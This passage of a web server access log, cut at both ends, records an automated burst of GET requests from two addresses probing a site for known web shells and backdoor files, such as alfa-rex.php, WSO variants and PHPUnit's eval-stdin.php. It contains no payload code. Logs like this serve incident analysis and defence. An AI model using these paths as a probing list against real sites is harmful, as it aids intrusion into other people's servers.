795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /admin1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-includes/Text/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:30 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-signups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:30 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /cdm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:31 -0400] "GET /cgi-bin/xdrwxeax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:31 -0400] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:31 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /def.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /wp-includes/sitemaps/providers/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:21:31 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /wp-includes/PHPMailer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /admin11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:21:31 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /wpupp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /wp-admin/maint/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:21:31 -0400] "GET /wp-admin/network/index.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /fond.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /upmdxpcz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:31 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:21:32 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /yrlgvupk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-includes/images/crystal/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:32 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /termps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-includes/fonts/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:32 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /vip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:32 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-admin/css/colors/ocean/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:32 -0400] "GET /.well-known/functions.schedules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:32 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-admin/maint/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /ova-wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:32 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wsoyanzfv3.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:33 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-includes/class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:21:33 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-admin/css/acces.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:33 -0400] "GET /wp-includes/block-supports/index.php 